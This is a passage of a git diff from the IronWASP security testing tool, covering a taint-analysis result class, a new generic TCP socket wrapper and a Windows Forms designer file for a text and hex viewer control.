bool Tainted - { - get - { - if (SourceTaint || SinkTaint) - return true; - else - return false; - - } - } - - internal bool SourceTaint - { - get - { - return (SourceReasons.Count > 0); - } - } - - internal bool SinkTaint - { - get - { - return (SinkReasons.Count > 0); - } - } - - internal void Add(TaintResult Result) - { - if (Result.SourceTaint) this.SourceReasons.AddRange(Result.SourceReasons); - if (Result.SinkTaint) this.SinkReasons.AddRange(Result.SinkReasons); - if(Result.NeutralReasons.Count > 0) this.NeutralReasons.AddRange(Result.NeutralReasons); - if (Result.MethodNameReasons.Count > 0) this.MethodNameReasons.AddRange(Result.MethodNameReasons); - if (Result.MethodArgumentSourceReasons.Count > 0) this.MethodArgumentSourceReasons.AddRange(Result.MethodArgumentSourceReasons); - if (Result.MethodArgumentSinkReasons.Count > 0) this.MethodArgumentSinkReasons.AddRange(Result.MethodArgumentSinkReasons); - if (Result.MethodArgumentNeutralReasons.Count > 0) this.MethodArgumentNeutralReasons.AddRange(Result.MethodArgumentNeutralReasons); - } - - internal void AddAsSource(TaintResult Result) - { - if (Result.SourceTaint) this.SourceReasons.AddRange(Result.SourceReasons); - if (Result.SinkTaint) this.SinkReasons.AddRange(Result.SinkReasons); - if (Result.NeutralReasons.Count > 0) this.SourceReasons.AddRange(Result.NeutralReasons); - if(Result.MethodNameReasons.Count > 0) - { - this.SourceReasons.AddRange(Result.MethodNameReasons); - } - } - - internal void AddAsSource(List Item, string Reason) - { - this.SourceReasons.Add(Reason); - if (Item.Count > 0) this.SourceReasons.AddRange(Item[0].SourceReasons); - } - - internal void AddAsSink(TaintResult Result) - { - if (Result.SourceTaint) this.SourceReasons.AddRange(Result.SourceReasons); - if (Result.SinkTaint) this.SinkReasons.AddRange(Result.SinkReasons); - if (Result.NeutralReasons.Count > 0) this.SinkReasons.AddRange(Result.NeutralReasons); - if (Result.MethodArgumentSourceReasons.Count > 0) - { - this.SourceToSinkReasons.AddRange(Result.MethodNameReasons); - this.SourceToSinkReasons.AddRange(Result.MethodArgumentSourceReasons); - } - else if (Result.MethodNameReasons.Count > 0) - { - this.SinkReasons.AddRange(Result.MethodNameReasons); - } - } - - internal void AddAsSink(List Item, string Reason) - { - this.SinkReasons.Add(Reason); - if (Item.Count > 0) this.SinkReasons.AddRange(Item[0].SinkReasons); - } - - internal void AddToMethodArgumentReasons(TaintResult Result) - { - if (Result.SinkReasons.Count > 0) this.MethodArgumentSinkReasons.AddRange(Result.SinkReasons); - if (Result.SourceReasons.Count > 0) this.MethodArgumentSourceReasons.AddRange(Result.SourceReasons); - if (Result.NeutralReasons.Count > 0) this.MethodArgumentNeutralReasons.AddRange(Result.NeutralReasons); - } - - internal void Clear() - { - this.SinkReasons.Clear(); - this.SourceReasons.Clear(); - this.NeutralReasons.Clear(); - } - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class TaintResult + { + internal List SourceReasons = new List(); + internal List SinkReasons = new List(); + + internal List NeutralReasons = new List(); + + internal List MethodNameReasons = new List(); + internal List MethodArgumentSinkReasons = new List(); + internal List MethodArgumentSourceReasons = new List(); + internal List MethodArgumentNeutralReasons = new List(); + + internal List SourceToSinkReasons = new List(); + + internal bool Tainted + { + get + { + if (SourceTaint || SinkTaint) + return true; + else + return false; + + } + } + + internal bool SourceTaint + { + get + { + return (SourceReasons.Count > 0); + } + } + + internal bool SinkTaint + { + get + { + return (SinkReasons.Count > 0); + } + } + + internal void Add(TaintResult Result) + { + if (Result.SourceTaint) this.SourceReasons.AddRange(Result.SourceReasons); + if (Result.SinkTaint) this.SinkReasons.AddRange(Result.SinkReasons); + if(Result.NeutralReasons.Count > 0) this.NeutralReasons.AddRange(Result.NeutralReasons); + if (Result.MethodNameReasons.Count > 0) this.MethodNameReasons.AddRange(Result.MethodNameReasons); + if (Result.MethodArgumentSourceReasons.Count > 0) this.MethodArgumentSourceReasons.AddRange(Result.MethodArgumentSourceReasons); + if (Result.MethodArgumentSinkReasons.Count > 0) this.MethodArgumentSinkReasons.AddRange(Result.MethodArgumentSinkReasons); + if (Result.MethodArgumentNeutralReasons.Count > 0) this.MethodArgumentNeutralReasons.AddRange(Result.MethodArgumentNeutralReasons); + } + + internal void AddAsSource(TaintResult Result) + { + if (Result.SourceTaint) this.SourceReasons.AddRange(Result.SourceReasons); + if (Result.SinkTaint) this.SinkReasons.AddRange(Result.SinkReasons); + if (Result.NeutralReasons.Count > 0) this.SourceReasons.AddRange(Result.NeutralReasons); + if(Result.MethodNameReasons.Count > 0) + { + this.SourceReasons.AddRange(Result.MethodNameReasons); + } + } + + internal void AddAsSource(List Item, string Reason) + { + this.SourceReasons.Add(Reason); + if (Item.Count > 0) this.SourceReasons.AddRange(Item[0].SourceReasons); + } + + internal void AddAsSink(TaintResult Result) + { + if (Result.SourceTaint) this.SourceReasons.AddRange(Result.SourceReasons); + if (Result.SinkTaint) this.SinkReasons.AddRange(Result.SinkReasons); + if (Result.NeutralReasons.Count > 0) this.SinkReasons.AddRange(Result.NeutralReasons); + if (Result.MethodArgumentSourceReasons.Count > 0) + { + this.SourceToSinkReasons.AddRange(Result.MethodNameReasons); + this.SourceToSinkReasons.AddRange(Result.MethodArgumentSourceReasons); + } + else if (Result.MethodNameReasons.Count > 0) + { + this.SinkReasons.AddRange(Result.MethodNameReasons); + } + } + + internal void AddAsSink(List Item, string Reason) + { + this.SinkReasons.Add(Reason); + if (Item.Count > 0) this.SinkReasons.AddRange(Item[0].SinkReasons); + } + + internal void AddToMethodArgumentReasons(TaintResult Result) + { + if (Result.SinkReasons.Count > 0) this.MethodArgumentSinkReasons.AddRange(Result.SinkReasons); + if (Result.SourceReasons.Count > 0) this.MethodArgumentSourceReasons.AddRange(Result.SourceReasons); + if (Result.NeutralReasons.Count > 0) this.MethodArgumentNeutralReasons.AddRange(Result.NeutralReasons); + } + + internal void Clear() + { + this.SinkReasons.Clear(); + this.SourceReasons.Clear(); + this.NeutralReasons.Clear(); + } + + } +} diff --git a/Iron/TcpSocket.cs b/Iron/TcpSocket.cs new file mode 100644 index 0000000..1204693 --- /dev/null +++ b/Iron/TcpSocket.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Net.Sockets; +using System.Threading; + +namespace IronWASP +{ + public class TcpSocket + { + string intServerIp = ""; + int intPort = 0; + TcpClient intClient = null; + NetworkStream NetStream = null; + + public TcpSocket(string _ServerIp, int _Port) + { + this.intServerIp = _ServerIp; + this.intPort = _Port; + this.intClient = new TcpClient(_ServerIp, _Port); + this.NetStream = this.intClient.GetStream(); + } + + public void Write(string Data) + { + this.Write(Encoding.UTF8.GetBytes(Data)); + } + + public void Write(byte[] Data) + { + this.NetStream.Write(Data, 0, Data.Length); + } + + public byte[] Read() + { + byte[] Data = new byte[this.intClient.Available]; + if (Data.Length > 0) + { + this.NetStream.Read(Data, 0, Data.Length); + } + return Data; + } + + public string ReadString() + { + return Encoding.UTF8.GetString(Read()); + } + + public byte[] WaitAndRead() + { + while (true) + { + if (IsDataAvailable) + { + return Read(); + } + else + { + Thread.Sleep(100); + } + } + } + + public string WaitAndReadString() + { + return Encoding.UTF8.GetString(WaitAndRead()); + } + + public bool IsDataAvailable + { + get + { + return this.intClient.Available > 0; + } + } + + + public void Close() + { + try + { + this.NetStream.Close(); + } + catch { } + try + { + this.intClient.Close(); + } + catch { } + } + + } +} diff --git a/IronWASP/TextBoxPlus.Designer.cs b/Iron/TextBoxPlus.Designer.cs similarity index 98% rename from IronWASP/TextBoxPlus.Designer.cs rename to Iron/TextBoxPlus.Designer.cs index 1c2e1af..ba5602f 100644 --- a/IronWASP/TextBoxPlus.Designer.cs +++ b/Iron/TextBoxPlus.Designer.cs @@ -1,356 +1,356 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class TextBoxPlus - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.MainText = new System.Windows.Forms.TextBox(); - this.SearchBox = new System.Windows.Forms.TextBox(); - this.MatchCountLabel = new System.Windows.Forms.Label(); - this.FunctionsPanel = new System.Windows.Forms.Panel(); - this.BinaryWarningLbl = new System.Windows.Forms.Label(); - this.LessOptionsLL = new System.Windows.Forms.LinkLabel(); - this.label4 = new System.Windows.Forms.Label(); - this.CaseSensitiveSearchCB = new System.Windows.Forms.CheckBox(); - this.ReplaceAllLL = new System.Windows.Forms.LinkLabel(); - this.label3 = new System.Windows.Forms.Label(); - this.ReplaceBox = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.MoreOptionsLL = new System.Windows.Forms.LinkLabel(); - this.label1 = new System.Windows.Forms.Label(); - this.MainTabs = new System.Windows.Forms.TabControl(); - this.TextTab = new System.Windows.Forms.TabPage(); - this.TextPanel = new System.Windows.Forms.Panel(); - this.MainRichText = new System.Windows.Forms.RichTextBox(); - this.HexTab = new System.Windows.Forms.TabPage(); - this.MainHex = new Be.Windows.Forms.HexBox(); - this.FunctionsPanel.SuspendLayout(); - this.MainTabs.SuspendLayout(); - this.TextTab.SuspendLayout(); - this.TextPanel.SuspendLayout(); - this.HexTab.SuspendLayout(); - this.SuspendLayout(); - // - // MainText - // - this.MainText.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.MainText.Font = new System.Drawing.Font("Lucida Console", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MainText.HideSelection = false; - this.MainText.Location = new System.Drawing.Point(6, 5); - this.MainText.Margin = new System.Windows.Forms.Padding(0); - this.MainText.MaxLength = 2147483647; - this.MainText.Multiline = true; - this.MainText.Name = "MainText"; - this.MainText.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.MainText.Size = new System.Drawing.Size(199, 17); - this.MainText.TabIndex = 2; - this.MainText.TextChanged += new System.EventHandler(this.MainText_TextChanged); - this.MainText.KeyDown += new System.Windows.Forms.KeyEventHandler(this.MainText_KeyDown); - // - // SearchBox - // - this.SearchBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.SearchBox.Location = new System.Drawing.Point(66, 7); - this.SearchBox.Name = "SearchBox"; - this.SearchBox.Size = new System.Drawing.Size(332, 20); - this.SearchBox.TabIndex = 3; - this.SearchBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.SearchBox_KeyPress); - this.SearchBox.KeyUp += new System.Windows.Forms.KeyEventHandler(this.SearchBox_KeyUp); - // - // MatchCountLabel - // - this.MatchCountLabel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MatchCountLabel.AutoSize = true; - this.MatchCountLabel.Location = new System.Drawing.Point(403, 11); - this.MatchCountLabel.Name = "MatchCountLabel"; - this.MatchCountLabel.Size = new System.Drawing.Size(0, 13); - this.MatchCountLabel.TabIndex = 4; - // - // FunctionsPanel - // - this.FunctionsPanel.Controls.Add(this.BinaryWarningLbl); - this.FunctionsPanel.Controls.Add(this.LessOptionsLL); - this.FunctionsPanel.Controls.Add(this.label4); - this.FunctionsPanel.Controls.Add(this.CaseSensitiveSearchCB); - this.FunctionsPanel.Controls.Add(this.ReplaceAllLL); - this.FunctionsPanel.Controls.Add(this.label3); - this.FunctionsPanel.Controls.Add(this.ReplaceBox); - this.FunctionsPanel.Controls.Add(this.label2); - this.FunctionsPanel.Controls.Add(this.MoreOptionsLL); - this.FunctionsPanel.Controls.Add(this.label1); - this.FunctionsPanel.Controls.Add(this.SearchBox); - this.FunctionsPanel.Controls.Add(this.MatchCountLabel); - this.FunctionsPanel.Dock = System.Windows.Forms.DockStyle.Bottom; - this.FunctionsPanel.Location = new System.Drawing.Point(0, 29); - this.FunctionsPanel.Margin = new System.Windows.Forms.Padding(0); - this.FunctionsPanel.Name = "FunctionsPanel"; - this.FunctionsPanel.Size = new System.Drawing.Size(552, 80); - this.FunctionsPanel.TabIndex = 5; - // - // BinaryWarningLbl - // - this.BinaryWarningLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.BinaryWarningLbl.AutoSize = true; - this.BinaryWarningLbl.BackColor = System.Drawing.Color.Red; - this.BinaryWarningLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BinaryWarningLbl.Location = new System.Drawing.Point(448, 10); - this.BinaryWarningLbl.Name = "BinaryWarningLbl"; - this.BinaryWarningLbl.Size = new System.Drawing.Size(22, 13); - this.BinaryWarningLbl.TabIndex = 15; - this.BinaryWarningLbl.Text = " b "; - // - // LessOptionsLL - // - this.LessOptionsLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.LessOptionsLL.AutoSize = true; - this.LessOptionsLL.Location = new System.Drawing.Point(477, 58); - this.LessOptionsLL.Name = "LessOptionsLL"; - this.LessOptionsLL.Size = new System.Drawing.Size(68, 13); - this.LessOptionsLL.TabIndex = 14; - this.LessOptionsLL.TabStop = true; - this.LessOptionsLL.Text = "Hide Options"; - this.LessOptionsLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LessOptionsLL_LinkClicked); - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(217, 34); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(330, 13); - this.label4.TabIndex = 13; - this.label4.Text = "Use \'Page Up\' / \'Page Down\' keys to move to next / previous match"; - // - // CaseSensitiveSearchCB - // - this.CaseSensitiveSearchCB.AutoSize = true; - this.CaseSensitiveSearchCB.Location = new System.Drawing.Point(92, 32); - this.CaseSensitiveSearchCB.Name = "CaseSensitiveSearchCB"; - this.CaseSensitiveSearchCB.Size = new System.Drawing.Size(96, 17); - this.CaseSensitiveSearchCB.TabIndex = 12; - this.CaseSensitiveSearchCB.Text = "Case Sensitive"; - this.CaseSensitiveSearchCB.UseVisualStyleBackColor = true; - this.CaseSensitiveSearchCB.Click += new System.EventHandler(this.CaseSensitiveSearchCB_Click); - // - // ReplaceAllLL - // - this.ReplaceAllLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ReplaceAllLL.AutoSize = true; - this.ReplaceAllLL.Location = new System.Drawing.Point(406, 58); - this.ReplaceAllLL.Name = "ReplaceAllLL"; - this.ReplaceAllLL.Size = new System.Drawing.Size(61, 13); - this.ReplaceAllLL.TabIndex = 11; - this.ReplaceAllLL.TabStop = true; - this.ReplaceAllLL.Text = "Replace All"; - this.ReplaceAllLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ReplaceAllLL_LinkClicked); - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(3, 59); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(151, 13); - this.label3.TabIndex = 9; - this.label3.Text = "Replace With (case-sensitive):"; - // - // ReplaceBox - // - this.ReplaceBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ReplaceBox.Location = new System.Drawing.Point(168, 55); - this.ReplaceBox.Name = "ReplaceBox"; - this.ReplaceBox.Size = new System.Drawing.Size(230, 20); - this.ReplaceBox.TabIndex = 8; - this.ReplaceBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.ReplaceBox_KeyPress); - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(3, 34); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(83, 13); - this.label2.TabIndex = 7; - this.label2.Text = "Search Options:"; - // - // MoreOptionsLL - // - this.MoreOptionsLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MoreOptionsLL.AutoSize = true; - this.MoreOptionsLL.Location = new System.Drawing.Point(477, 10); - this.MoreOptionsLL.Name = "MoreOptionsLL"; - this.MoreOptionsLL.Size = new System.Drawing.Size(73, 13); - this.MoreOptionsLL.TabIndex = 6; - this.MoreOptionsLL.TabStop = true; - this.MoreOptionsLL.Text = "Show Options"; - this.MoreOptionsLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MoreOptionsLL_LinkClicked); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(3, 10); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(59, 13); - this.label1.TabIndex = 5; - this.label1.Text = "Search for:"; - // - // MainTabs - // - this.MainTabs.Controls.Add(this.TextTab); - this.MainTabs.Controls.Add(this.HexTab); - this.MainTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.MainTabs.Location = new System.Drawing.Point(0, 0); - this.MainTabs.Margin = new System.Windows.Forms.Padding(0); - this.MainTabs.Name = "MainTabs"; - this.MainTabs.Padding = new System.Drawing.Point(0, 0); - this.MainTabs.SelectedIndex = 0; - this.MainTabs.Size = new System.Drawing.Size(560, 135); - this.MainTabs.TabIndex = 6; - this.MainTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.MainTabs_Deselecting); - // - // TextTab - // - this.TextTab.Controls.Add(this.TextPanel); - this.TextTab.Controls.Add(this.FunctionsPanel); - this.TextTab.Location = new System.Drawing.Point(4, 22); - this.TextTab.Margin = new System.Windows.Forms.Padding(0); - this.TextTab.Name = "TextTab"; - this.TextTab.Size = new System.Drawing.Size(552, 109); - this.TextTab.TabIndex = 0; - this.TextTab.Text = " Text "; - this.TextTab.UseVisualStyleBackColor = true; - // - // TextPanel - // - this.TextPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.TextPanel.Controls.Add(this.MainRichText); - this.TextPanel.Controls.Add(this.MainText); - this.TextPanel.Location = new System.Drawing.Point(0, 0); - this.TextPanel.Margin = new System.Windows.Forms.Padding(0); - this.TextPanel.Name = "TextPanel"; - this.TextPanel.Size = new System.Drawing.Size(552, 29); - this.TextPanel.TabIndex = 6; - // - // MainRichText - // - this.MainRichText.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.MainRichText.DetectUrls = false; - this.MainRichText.Location = new System.Drawing.Point(307, 5); - this.MainRichText.Name = "MainRichText"; - this.MainRichText.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.MainRichText.Size = new System.Drawing.Size(206, 17); - this.MainRichText.TabIndex = 3; - this.MainRichText.Text = ""; - this.MainRichText.TextChanged += new System.EventHandler(this.MainRichText_TextChanged); - // - // HexTab - // - this.HexTab.Controls.Add(this.MainHex); - this.HexTab.Location = new System.Drawing.Point(4, 22); - this.HexTab.Margin = new System.Windows.Forms.Padding(0); - this.HexTab.Name = "HexTab"; - this.HexTab.Size = new System.Drawing.Size(552, 109); - this.HexTab.TabIndex = 1; - this.HexTab.Text = " Hex "; - this.HexTab.UseVisualStyleBackColor = true; - // - // MainHex - // - this.MainHex.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.MainHex.Dock = System.Windows.Forms.DockStyle.Fill; - this.MainHex.Font = new System.Drawing.Font("Courier New", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MainHex.InfoForeColor = System.Drawing.Color.Empty; - this.MainHex.LineInfoVisible = true; - this.MainHex.Location = new System.Drawing.Point(0, 0); - this.MainHex.Name = "MainHex"; - this.MainHex.ShadowSelectionColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(60)))), ((int)(((byte)(188)))), ((int)(((byte)(255))))); - this.MainHex.Size = new System.Drawing.Size(552, 109); - this.MainHex.StringViewVisible = true; - this.MainHex.TabIndex = 0; - this.MainHex.VScrollBarVisible = true; - // - // TextBoxPlus - // - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; - this.Controls.Add(this.MainTabs); - this.Name = "TextBoxPlus"; - this.Size = new System.Drawing.Size(560, 135); - this.Load += new System.EventHandler(this.ModTextBoxPlus_Load); - this.FunctionsPanel.ResumeLayout(false); - this.FunctionsPanel.PerformLayout(); - this.MainTabs.ResumeLayout(false); - this.TextTab.ResumeLayout(false); - this.TextPanel.ResumeLayout(false); - this.TextPanel.PerformLayout(); - this.HexTab.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TextBox MainText; - private System.Windows.Forms.TextBox SearchBox; - private System.Windows.Forms.Label MatchCountLabel; - private System.Windows.Forms.Panel FunctionsPanel; - private System.Windows.Forms.TabControl MainTabs; - private System.Windows.Forms.TabPage TextTab; - private System.Windows.Forms.TabPage HexTab; - private System.Windows.Forms.LinkLabel MoreOptionsLL; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.RichTextBox MainRichText; - private Be.Windows.Forms.HexBox MainHex; - private System.Windows.Forms.Panel TextPanel; - private System.Windows.Forms.LinkLabel ReplaceAllLL; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.TextBox ReplaceBox; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.CheckBox CaseSensitiveSearchCB; - private System.Windows.Forms.LinkLabel LessOptionsLL; - private System.Windows.Forms.Label BinaryWarningLbl; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class TextBoxPlus + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.MainText = new System.Windows.Forms.TextBox(); + this.SearchBox = new System.Windows.Forms.TextBox(); + this.MatchCountLabel = new System.Windows.Forms.Label(); + this.FunctionsPanel = new System.Windows.Forms.Panel(); + this.BinaryWarningLbl = new System.Windows.Forms.Label(); + this.LessOptionsLL = new System.Windows.Forms.LinkLabel(); + this.label4 = new System.Windows.Forms.Label(); + this.CaseSensitiveSearchCB = new System.Windows.Forms.CheckBox(); + this.ReplaceAllLL = new System.Windows.Forms.LinkLabel(); + this.label3 = new System.Windows.Forms.Label(); + this.ReplaceBox = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.MoreOptionsLL = new System.Windows.Forms.LinkLabel(); + this.label1 = new System.Windows.Forms.Label(); + this.MainTabs = new System.Windows.Forms.TabControl(); + this.TextTab = new System.Windows.Forms.TabPage(); + this.TextPanel = new System.Windows.Forms.Panel(); + this.MainRichText = new System.Windows.Forms.RichTextBox(); + this.HexTab = new System.Windows.Forms.TabPage(); + this.MainHex = new Be.Windows.Forms.HexBox(); + this.FunctionsPanel.SuspendLayout(); + this.MainTabs.SuspendLayout(); + this.TextTab.SuspendLayout(); + this.TextPanel.SuspendLayout(); + this.HexTab.SuspendLayout(); + this.SuspendLayout(); + // + // MainText + // + this.MainText.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.MainText.Font = new System.Drawing.Font("Lucida Console", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.MainText.HideSelection = false; + this.MainText.Location = new System.Drawing.Point(6, 5); + this.MainText.Margin = new System.Windows.Forms.Padding(0); + this.MainText.MaxLength = 2147483647; + this.MainText.Multiline = true; + this.MainText.Name = "MainText"; + this.MainText.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.MainText.Size = new System.Drawing.Size(199, 17); + this.MainText.TabIndex = 2; + this.MainText.TextChanged += new System.EventHandler(this.MainText_TextChanged); + this.MainText.KeyDown += new System.Windows.Forms.KeyEventHandler(this.MainText_KeyDown); + // + // SearchBox + // + this.SearchBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.SearchBox.Location = new System.Drawing.Point(66, 7); + this.SearchBox.Name = "SearchBox"; + this.SearchBox.Size = new System.Drawing.Size(332, 20); + this.SearchBox.TabIndex = 3; + this.SearchBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.SearchBox_KeyPress); + this.SearchBox.KeyUp += new System.Windows.Forms.KeyEventHandler(this.SearchBox_KeyUp); + // + // MatchCountLabel + // + this.MatchCountLabel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MatchCountLabel.AutoSize = true; + this.MatchCountLabel.Location = new System.Drawing.Point(403, 11); + this.MatchCountLabel.Name = "MatchCountLabel"; + this.MatchCountLabel.Size = new System.Drawing.Size(0, 13); + this.MatchCountLabel.TabIndex = 4; + // + // FunctionsPanel + // + this.FunctionsPanel.Controls.Add(this.BinaryWarningLbl); + this.FunctionsPanel.Controls.Add(this.LessOptionsLL); + this.FunctionsPanel.Controls.Add(this.label4); + this.FunctionsPanel.Controls.Add(this.CaseSensitiveSearchCB); + this.FunctionsPanel.Controls.Add(this.ReplaceAllLL); + this.FunctionsPanel.Controls.Add(this.label3); + this.FunctionsPanel.Controls.Add(this.ReplaceBox); + this.FunctionsPanel.Controls.Add(this.label2); + this.FunctionsPanel.Controls.Add(this.MoreOptionsLL); + this.FunctionsPanel.Controls.Add(this.label1); + this.FunctionsPanel.Controls.Add(this.SearchBox); + this.FunctionsPanel.Controls.Add(this.MatchCountLabel); + this.FunctionsPanel.Dock = System.Windows.Forms.DockStyle.Bottom; + this.FunctionsPanel.Location = new System.Drawing.Point(0, 29); + this.FunctionsPanel.Margin = new System.Windows.Forms.Padding(0); + this.FunctionsPanel.Name = "FunctionsPanel"; + this.FunctionsPanel.Size = new System.Drawing.Size(552, 80); + this.FunctionsPanel.TabIndex = 5; + // + // BinaryWarningLbl + // + this.BinaryWarningLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.BinaryWarningLbl.AutoSize = true; + this.BinaryWarningLbl.BackColor = System.Drawing.Color.Red; + this.BinaryWarningLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BinaryWarningLbl.Location = new System.Drawing.Point(448, 10); + this.BinaryWarningLbl.Name = "BinaryWarningLbl"; + this.BinaryWarningLbl.Size = new System.Drawing.Size(22, 13); + this.BinaryWarningLbl.TabIndex = 15; + this.BinaryWarningLbl.Text = " b "; + // + // LessOptionsLL + // + this.LessOptionsLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.LessOptionsLL.AutoSize = true; + this.LessOptionsLL.Location = new System.Drawing.Point(477, 58); + this.LessOptionsLL.Name = "LessOptionsLL"; + this.LessOptionsLL.Size = new System.Drawing.Size(68, 13); + this.LessOptionsLL.TabIndex = 14; + this.LessOptionsLL.TabStop = true; + this.LessOptionsLL.Text = "Hide Options"; + this.LessOptionsLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LessOptionsLL_LinkClicked); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new 